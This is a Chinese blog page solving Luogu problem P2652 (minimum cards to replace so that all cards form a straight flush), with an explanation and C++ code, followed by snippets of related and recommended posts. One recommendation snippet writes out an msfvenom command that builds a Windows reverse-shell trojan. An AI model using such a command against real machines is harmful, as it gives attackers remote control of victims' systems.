P2652 同花顺

Link

题目背景

所谓同花顺,就是指一些扑克牌,它们花色相同,并且数字连续。

题目描述

现在我手里有 \(n\) 张扑克牌,但它们可能并不能凑成同花顺。我现在想知道,最少更换其中的多少张牌,我能让这 \(n\) 张牌都凑成同花顺?

输入格式

第一行一个整数 \(n\) ,表示扑克牌的张数。

接下来 \(n\) 行,每行两个整数 \(a_{i}\) 和 \(b_{i}\) . 其中 \(a_{i}\) 表示第 \(i\) 张牌的花色,\(b_{i}\) 表示第 \(i\) 张牌的数字。

输出格式

一行一个整数,表示最少更换多少张牌可以达到目标。

输入输出样例

输入 #1

5
1 1
1 2
1 3
1 4
1 5

输出 #1

0

输入 #2

5
1 9
1 10
2 11
2 12
2 13

输出 #2

2

说明/提示

  • 对于 30% 的数据,\(n \le 10\);

  • 对于 60% 的数据,\(n \le 10^{5}\),\(1 \le a_{i} \le 10^{5}\),\(1 \le b_{i} \le n\);

  • 对于 100% 的数据,\(n \le 10^{5}\),\(1 \le a_{i}, b_{i} \le 10^{9}\);

前言

这道题好ex,考试考了好几次了都没写出来(怪自己太菜了)。


题解

首先呢,这道题有一个比较特殊的性质,就是重复的牌一定会被我们替换掉,这就以意味着我们需要对牌进行去重。

我们可以转化一下问题,求一下最长的符合同花顺序列的长度,这样就比较好求了。

我们最后的答案就是 原来的牌数减去最长的符合同花顺序列的长度。

假设,我们以这张牌作为当前同花顺序列的最后一张牌,那么前面的那几张牌的数字都是要 大于当前的牌的数字减 \(n\)

所以我们可以对牌按花色排序,如果花色相同按牌的数字排序。

我们开个队列存当前的同花顺序列,如果当前的牌 \(i\) 与之前的牌的花色都不同,就把整个队列清空。

反之,枚举左端点,找到第一个与他花色不同或者数字比他小 \(n\) 的牌 \(j\),同花顺序列的长度就是 \(i-j\)

可以考虑用一个队列来优化一下:

Code

#include<iostream>
#include<cstdio>
#include<algorithm>
#include<queue>
using namespace std;
const int N = 1e5+10;
int n,cnt,ans,tot;
queue<int> que;
inline int read()
{
int s = 0,w = 1; char ch = getchar();
while(ch < '0' || ch > '9'){if(ch == '-') w = -1; ch = getchar();}
while(ch >= '0' && ch <= '9'){s =s * 10+ch - '0'; ch = getchar();}
return s * w;
}
struct node
{
int c,num;
}q[N],a[N];
bool comp(node a,node b)//按花色排序,花色相同按数字排序
{
if(a.c == b.c) return a.num < b.num;
else return a.c < b.c;
}
int main()
{
// freopen("card.in","r",stdin);
// freopen("card.out","w",stdout);
n = read();
for(int i = 1; i <= n; i++)
{
q[i].c = read();
q[i].num = read();
}
sort(q+1,q+n+1,comp);
for(int i = 1; i <= n; i++)//去重
{
if(q[i].c == q[i-1].c && q[i].num == q[i-1].num) continue;
else a[++tot] = q[i];
}
for(int i = 1; i <= tot; i++)
{
if(a[i].c != a[i-1].c)//与之前花色不同,把队列清空
{
while(!que.empty()) que.pop();
}
while(que.size() && a[que.front()].num < a[i].num - n) que.pop();//去掉数字比他小n的点
que.push(i);
ans = max(ans,(int) que.size()); //更新一下最长同花顺序列的长度
}
printf("%d\n",n - ans);
fclose(stdin); fclose(stdout);
return 0;
}

P2652 同花顺的更多相关文章

  1. 洛谷P2652 同花顺

    P2652 同花顺 题目背景 所谓同花顺,就是指一些扑克牌,它们花色相同,并且数字连续. 题目描述 现在我手里有n张扑克牌,但它们可能并不能凑成同花顺.我现在想知道,最少更换其中的多少张牌,我能让这 ...

  2. 洛谷 P2652 同花顺

    P2652 同花顺 题目背景 所谓同花顺,就是指一些扑克牌,它们花色相同,并且数字连续. 题目描述 现在我手里有n张扑克牌,但它们可能并不能凑成同花顺.我现在想知道,最少更换其中的多少张牌,我能让这 ...

  3. 洛谷 P2652 同花顺(离散化)

    洛谷 P2652 同花顺(题面) 手动模拟了一下,其实离散化排序可以起很大作用题目要求花色相同,数字连续,那么我们要做的就是找一种花色,并提取出其中一串数字留下那些舍弃的牌换成相应花色,并和之前留下的 ...

  4. python简单爬虫定时推送同花顺直播及荐股至邮箱

    1.初衷:实践 2.技术:python requests Template 3.思路:根据直播页面获取评价最高的前十博主,定时爬行最新的消息和实战股票 4.思路:python 编辑简单邮件html模板 ...

  5. 同花顺核新下单程序的"界面不操作超时时间"的设定

    "界面不操作超时时间"的设定 同花顺核新下单程序的'界面不操作超时时间'的设定 系统> 系统设置> 界面设置> 界面不操作超时时间(分): 在这个输入框里填上个3 ...

  6. 同事问如何判断同花顺,我用javascript的二维数组写了个简易demo

    有个前同事在群里问如何判断是否为同花顺我用javascript的二维数组写了个简易demo. <!DOCTYPE html> <html> <body> <s ...

  7. MACD底背离选股公式——通达信、同花顺

    {底背离,通达信版.同花顺版} DIFF:=EMA(CLOSE,) - EMA(CLOSE,); DEA:=EMA(DIFF,); MACD:=*(DIFF-DEA); QZQ:=BARSLAST(R ...

  8. choice接口、同花顺使用

    一 choice接口使用 1.choice软件-->量化-->下载中心,下载python接口文件 EMQuantAPI_Python 2.要先绑定手机号,绑定后账户权限不够,暂时放弃. 二 ...

  9. Java爬取同花顺股票数据(附源码)

    最近有小伙伴问我能不能抓取同花顺的数据,最近股票行情还不错,想把数据抓下来自己分析分析.我大A股,大家都知道的,一个概念火了,相应的股票就都大涨. 如果能及时获取股票涨跌信息,那就能在刚开始火起来的时 ...

随机推荐

  1. 《神经网络的梯度推导与代码验证》之CNN的前向传播和反向梯度推导

    在FNN(DNN)的前向传播,反向梯度推导以及代码验证中,我们不仅总结了FNN(DNN)这种神经网络结构的前向传播和反向梯度求导公式,还通过tensorflow的自动求微分工具验证了其准确性.在本篇章 ...

  2. Data Vault玩转数据仓库(三)

    在Data Vault 2.0版本里,其不只是针对数据仓库的建模,同时也包含了架构,方法论以及实现.这篇挑几个概念,附上我个人对其的理解.同时也把这个系列的名字改成<Data Vault玩转数据 ...

  3. UVA 11292-Dragon of Loowater (贪心)

    Once upon a time, in the Kingdom of Loowater, a minor nuisance turned into a major problem. The shor ...

  4. Activiti7 网关(排他网关)

    什么是排他网关? 排他网关(也叫异或(XOR)网关,或叫基于数据的排他网关),用于在流程中实现决策,当流程执行到这个网关,所有分支都会判断条件是否为true,如果为true则执行该分支 注意:排他网关 ...

  5. 图解选择排序及算法优化(Java实现)

    选择排序 前言 原理:每次循环对比找出最小/大值,将最值的元素交换至左侧 思想:直接选择排序(Straight Select Sort)算法思想:第一趟从n个元素的数据序列中选出关键字最小/大的元素并 ...

  6. 登录SQL Server服务器时的服务器名称

    在本地访问Microsoft SQL Server 2008服务器时,首先就是要填写正确的服务器名称.经测试,该名称可以有多种写法,具体如下: 写法一: X\sqlexpress(X即计算机名) 写法 ...

  7. msf生成木马

    Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...

  8. [LeetCode]15. 三数之和(数组)(双指针)

    题目 给定一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0 ?找出所有满足条件且不重复的三元组. 注意:答案中不可以包含重复的三 ...

  9. 微信小程序 | 模仿百思不得其姐

    微信小程序 仿百思不得姐 设备 微信开发者工具 v1.02.1901230 扩展 修复了视频点击播放不流畅的问题 修复了视频的暂停够无法播放问题 优化了部分页面 接口 首页 http://api.bu ...

  10. Mysql查看最大连接,修改

    1.查看最大连接量 show variables like '%max_connections%'; 2.修改最大连接量 //修改完记得重启 set GLOBAL max_connections = ...